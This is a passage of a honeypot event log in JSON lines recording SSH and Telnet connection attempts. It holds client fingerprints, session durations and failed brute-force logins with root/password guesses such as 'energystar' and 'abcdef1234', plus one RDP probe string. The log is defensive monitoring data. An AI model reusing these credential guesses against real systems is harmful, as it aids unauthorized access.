f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:04.528475Z","src_ip":"37.143.61.84","session":"615749f46ced","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":37296,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb2f7001780f","protocol":"ssh","message":"New connection: 186.122.177.140:37296 (10.17.0.5:22) [session: bb2f7001780f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:05.308414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:05.315312Z","src_ip":"186.122.177.140","session":"bb2f7001780f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"energystar","message":"login attempt [root/energystar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:05.507341Z","src_ip":"37.143.61.84","session":"615749f46ced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:05.563764Z","src_ip":"186.122.177.140","session":"bb2f7001780f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198809","message":"login attempt [root/198809] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:06.477960Z","src_ip":"186.122.177.140","session":"bb2f7001780f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":57398,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab0bdc484f8b","protocol":"ssh","message":"New connection: 62.133.63.178:57398 (159.203.135.109:22) [session: ab0bdc484f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:06.865081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:06.875136Z","src_ip":"62.133.63.178","session":"ab0bdc484f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:06.934661Z","src_ip":"37.143.61.84","session":"615749f46ced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:07.004329Z","src_ip":"62.133.63.178","session":"ab0bdc484f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57281,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4070bdc0702","protocol":"ssh","message":"New connection: 152.42.212.128:57281 (159.203.135.109:22) [session: f4070bdc0702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:07.212004Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:07.217699Z","src_ip":"152.42.212.128","session":"f4070bdc0702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:07.221851Z","src_ip":"152.42.212.128","session":"f4070bdc0702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alina","message":"login attempt [root/alina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:07.499935Z","src_ip":"62.133.63.178","session":"ab0bdc484f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:07.773896Z","src_ip":"186.122.177.140","session":"bb2f7001780f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:08.627486Z","src_ip":"62.133.63.178","session":"ab0bdc484f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":53632,"dst_ip":"159.203.135.109","dst_port":22,"session":"012999334506","protocol":"ssh","message":"New connection: 49.51.241.230:53632 (159.203.135.109:22) [session: 012999334506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:11.759424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:11.765065Z","src_ip":"49.51.241.230","session":"012999334506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:11.833834Z","src_ip":"49.51.241.230","session":"012999334506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":39088,"dst_ip":"159.203.135.109","dst_port":22,"session":"99ebe9d8d5d6","protocol":"ssh","message":"New connection: 207.56.225.202:39088 (159.203.135.109:22) [session: 99ebe9d8d5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:12.136556Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef1234","message":"login attempt [root/abcdef1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:12.142834Z","src_ip":"49.51.241.230","session":"012999334506","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:12.146470Z","src_ip":"207.56.225.202","session":"99ebe9d8d5d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:12.311105Z","src_ip":"207.56.225.202","session":"99ebe9d8d5d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.608989000320435,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:12.501243Z","src_ip":"192.119.13.58","session":"eeb5b65f81aa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpha","message":"login attempt [root/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:12.998899Z","src_ip":"207.56.225.202","session":"99ebe9d8d5d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:13.213328Z","src_ip":"49.51.241.230","session":"012999334506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:14.172311Z","src_ip":"207.56.225.202","session":"99ebe9d8d5d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.54141712188721,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:16.559958Z","src_ip":"192.119.13.58","session":"7644e0b4f747","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.182708978652954,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:16.646420Z","src_ip":"192.119.13.58","session":"a09bc7476c44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51658,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad8ee261ea19","protocol":"telnet","message":"New connection: 192.119.13.58:51658 (10.17.0.5:23) [session: ad8ee261ea19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:16.829039Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54412,"dst_ip":"10.17.0.5","dst_port":23,"session":"14f88d38874a","protocol":"telnet","message":"New connection: 192.119.13.58:54412 (10.17.0.5:23) [session: 14f88d38874a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:17.794608Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":39332,"dst_ip":"159.203.135.109","dst_port":22,"session":"beee4c7fd702","protocol":"ssh","message":"New connection: 165.154.23.26:39332 (159.203.135.109:22) [session: beee4c7fd702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:18.938634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:18.943933Z","src_ip":"165.154.23.26","session":"beee4c7fd702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:19.160929Z","src_ip":"165.154.23.26","session":"beee4c7fd702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"selenio","message":"login attempt [root/selenio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:20.056756Z","src_ip":"165.154.23.26","session":"beee4c7fd702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:21.275843Z","src_ip":"165.154.23.26","session":"beee4c7fd702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.39253330230713,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:26.702567Z","src_ip":"192.119.13.58","session":"6011e6ffadfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.354742765426636,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:33.588033Z","src_ip":"192.119.13.58","session":"1ab71fcdcbab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46596,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c513223b706","protocol":"telnet","message":"New connection: 192.119.13.58:46596 (10.17.0.5:23) [session: 8c513223b706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:34.118850Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":29759,"dst_ip":"159.203.135.109","dst_port":22,"session":"78b026ce407b","protocol":"ssh","message":"New connection: 103.24.63.85:29759 (159.203.135.109:22) [session: 78b026ce407b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:37.666903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:38.089078Z","src_ip":"103.24.63.85","session":"78b026ce407b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:38.096943Z","src_ip":"103.24.63.85","session":"78b026ce407b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.43226385116577,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:38.392763Z","src_ip":"192.119.13.58","session":"8f69c347fefe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"flask","password":"12345678","message":"login attempt [flask/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:39.156367Z","src_ip":"103.24.63.85","session":"78b026ce407b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39670,"dst_ip":"10.17.0.5","dst_port":23,"session":"912202f3b454","protocol":"telnet","message":"New connection: 192.119.13.58:39670 (10.17.0.5:23) [session: 912202f3b454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:40.518690Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43918,"dst_ip":"10.17.0.5","dst_port":23,"session":"8543f9be1925","protocol":"telnet","message":"New connection: 192.119.13.58:43918 (10.17.0.5:23) [session: 8543f9be1925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:41.807152Z"}
{"eventid":"cowrie.session.closed","duration":32.383602142333984,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:50.178056Z","src_ip":"192.119.13.58","session":"14f88d38874a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":50216,"dst_ip":"10.17.0.5","dst_port":22,"session":"b197904cfbad","protocol":"ssh","message":"New connection: 59.126.224.134:50216 (10.17.0.5:22) [session: b197904cfbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:55.258064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:55.263078Z","src_ip":"59.126.224.134","session":"b197904cfbad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:55.474365Z","src_ip":"59.126.224.134","session":"b197904cfbad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"joshua","message":"login attempt [root/joshua] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:56.433465Z","src_ip":"59.126.224.134","session":"b197904cfbad","protocol":"ssh"}
